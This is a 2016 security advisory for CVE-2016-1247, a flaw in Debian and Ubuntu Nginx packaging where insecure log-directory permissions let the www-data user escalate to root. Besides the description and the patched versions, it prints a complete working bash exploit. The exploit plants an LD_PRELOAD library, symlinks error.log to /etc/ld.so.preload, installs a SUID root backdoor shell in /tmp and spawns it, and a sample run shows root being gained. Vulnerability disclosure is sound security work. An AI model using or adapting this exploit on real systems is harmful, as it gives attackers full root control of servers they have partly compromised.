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Nginx (Debian-Based Distros) Root Privilege Escalation

Posted on 17 November 2016

__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ / __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ / ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/

=============================================
- Discovered by: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com

- CVE-2016-1247
- Release date: 15.11.2016
- Revision 1.0
- Severity: High
=============================================

I. VULNERABILITY
-------------------------

Nginx (Debian-based distros) - Root Privilege Escalation

Fixed in 1.6.2-5+deb8u3 package on Debian, and
1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS

II. BACKGROUND
-------------------------

"nginx [engine x] is an HTTP and reverse proxy server, a mail proxy server,
and a generic TCP/UDP proxy server, originally written by Igor Sysoev.
For a long time, it has been running on many heavily loaded Russian sites
including Yandex, Mail.Ru, VK, and Rambler. According to Netcraft, nginx
served or proxied 27.80% busiest sites in October 2016.
Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM."

https://nginx.org/en/

III. INTRODUCTION
-------------------------

Nginx web server packaging on Debian-based distributions such as Debian or
Ubuntu was found to create log directories with insecure permissions which
can be exploited by malicious local attackers to escalate their privileges
from nginx/web user (www-data) to root.

The vulnerability could be easily exploited by attackers who have managed to
compromise a web application hosted on Nginx server and gained access to
www-data account as it would allow them to escalate their privileges further
to root access and fully compromise the system.

IV. DESCRIPTION
-------------------------

Nginx installed from default repositories on Debian-based systems (Debian,
Ubuntu etc.) create nginx log directory at the following location and with the
following permissions:

root@xenial:~# ls -ld /var/log/nginx/
drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
root@xenial:~# ls -ld /var/log/nginx/*
-rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log
-rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log

As the /var/log/nginx directory is owned by www-data, it is possible for
local attackers who have gained access to the system through a vulnerability
in a web application running on Nginx (or the server itself) to replace
the log files with a symlink to an arbitrary file.

Upon nginx startup/restart the logs would be written to the file pointed to
by the symlink.

This allows attackers to escalate privileges to root.

Attackers who have managed to replace the log file with a symlink would
have to wait for nginx daemon to re-open the log files.
For this to happen nginx service needs to be restarted, or the daemon needs
to receive a USR1 process signal.

However, the USR1 is sent automatically on default installations of
Debian-based systems through logrotate script which calls do_rotate()
function as can be seen in the files quoted below:

--------[ /etc/logrotate.d/nginx ]--------

/var/log/nginx/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 0640 www-data adm
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then 
run-parts /etc/logrotate.d/httpd-prerotate; 
fi 
endscript
postrotate
invoke-rc.d nginx rotate >/dev/null 2>&1
endscript
}

------------------------------------------

----------[ /etc/init.d/nginx ]-----------
[...]

do_rotate() {
start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
return 0
}

[...]

-----------------------------------------

The logrotation script is called daily by cron.daily on default Ubuntu/Debian
installations at 6:25am every day.

If /etc/logrotate.d/nginx has been set to rotate logs 'daily' then attacker
could gain root privileges within 24h upon the next log rotation without any
system admin interaction.

V. PROOF OF CONCEPT EXPLOIT
-------------------------

------------[ nginxed-root.sh ]--------------

#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "
[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "
[+] Job done. Exiting with code $1 
"
exit $1
}

function ctrl_c() {
echo -e "
[+] Ctrl+C pressed"
cleanexit 0
}

#intro

cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------

 __---__
_- /--______
__--( /  )XXXXXXXXXXXv.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX
/XXXXX( )--_ XXXXXXXXXXX
/XXXXX/ ( O ) XXXXXX XXXXX
XXXXX/ / XXXXXX \__ XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
- --__/ ___/ XXXXXX / ___--/=
- ___/ XXXXXX '--- XXXXXX
-/XXX XXXXXX /XXXXX
XXXXXXXXX  /XXXXX/
XXXXXX > _/XXXXX/
XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "33[94m 
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) 
nginxed-root.sh (ver. 1.0)
"
echo -e "Discovered and coded by: 

Dawid Golunski 
https://legalhackers.com 33[0m"

# Args
if [ $# -lt 1 ]; then
echo -e "
[!] Exploit usage: 

$0 path_to_error.log 
"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`
"
exit 3
fi

# Priv check

echo -e "
[+] Starting the exploit as: 
33[94m`id`33[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "
[!] You need to execute the exploit as www-data user! Exiting.
"
exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "
[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.
"
exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "
[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "
[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "
[+] Backdoor/low-priv shell installed at: 
`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "
[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "
[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "
[+] The server appears to be 33[94m(N)jinxed33[0m (writable logdir) ! :) Symlink created at: 
`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "
[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "
[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: 
`ls -l /etc/ld.so.preload`"
echo -e "
[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "
[+] The /etc/ld.so.preload file now contains: 
`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "
[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "
[+] Rootshell got assigned root SUID perms at: 
`ls -l $BACKDOORPATH`"
echo -e "
33[94mThe server is (N)jinxed ! ;) Got root via Nginx!33[0m"
else
echo -e "
[!] Failed to get root"
cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "
[+] Spawning the rootshell $BACKDOORPATH now! 
"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

---------------------------------------------------

Example run
~~~~~~~~~~~~

www-data@jessie:~/html/poc-app/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@jessie:~/html/poc-app/uploads$ dpkg -l | grep -i nginx
ii nginx 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server
ii nginx-common 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server - common files
ii nginx-full 1.6.2-5+deb8u2+b1 amd64 nginx web/proxy server (standard version)

www-data@jessie:~/html/poc-app/uploads$ ls -ld /var/log/nginx
drwxr-x--- 2 www-data adm 4096 Nov 15 23:38 /var/log/nginx

www-data@jessie:~/html/poc-app/uploads$ ./nginxed-root.sh /var/log/nginx/error.log
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------

 __---__
_- /--______
__--( /  )XXXXXXXXXXXv.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX
/XXXXX( )--_ XXXXXXXXXXX
/XXXXX/ ( O ) XXXXXX XXXXX
XXXXX/ / XXXXXX \__ XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
- --__/ ___/ XXXXXX / ___--/=
- ___/ XXXXXX '--- XXXXXX
-/XXX XXXXXX /XXXXX
XXXXXXXXX  /XXXXX/
XXXXXX > _/XXXXX/
XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""

Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)

Discovered and coded by:

Dawid Golunski
https://legalhackers.com

[+] Starting the exploit as:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 www-data www-data 1029624 Nov 15 23:54 /tmp/nginxrootsh

[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at:
lrwxrwxrwx 1 www-data www-data 18 Nov 15 23:54 /var/log/nginx/error.log -> /etc/ld.so.preload

[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...

[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges:
-rw-r--r-- 1 www-data root 19 Nov 15 23:55 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh

The server is (N)jinxed ! ;) Got root via Nginx!

[+] Spawning the rootshell /tmp/nginxrootsh now!

nginxrootsh-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

nginxrootsh-4.3# whoami
root

Note: You can force log rotation during testing with:
logrotate -f /etc/logrotate.d/nginx

Video PoC:
~~~~~~~~~~~~

https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

VI. BUSINESS IMPACT
-------------------------

An attacker who has managed to exploit a vulnerable web application could use the
vulnerability to escalate their privileges to root.

VII. SYSTEMS AFFECTED
-------------------------

Debian:
Fixed in Nginx 1.6.2-5+deb8u3

Ubuntu:

Fixed in the following updated Nginx package versions on Ubuntu:

Ubuntu 16.04 LTS:
1.10.0-0ubuntu0.16.04.3

Ubuntu 14.04 LTS:
1.4.6-1ubuntu3.6

Ubuntu 16.10:
1.10.1-0ubuntu1.1

VIII. SOLUTION
-------------------------

Vendors were sent this advisory in advance and released patches prior
to the publication of the exploit.

Update to the latest nginx packages on your distribution.

https://www.debian.org/security/2016/dsa-3701

https://www.ubuntu.com/usn/usn-3114-1/

IX. REFERENCES
-------------------------

https://legalhackers.com

This advisory:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Exploit code:
https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh

CVE-2016-1247:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1247

Video PoC:
https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Debian security:
https://www.debian.org/security/2016/dsa-3701
https://security-tracker.debian.org/tracker/CVE-2016-1247

Ubuntu security:
https://www.ubuntu.com/usn/usn-3114-1/

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com

https://legalhackers.com

XI. REVISION HISTORY
-------------------------

15.11.2016 - Advisory released

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

 

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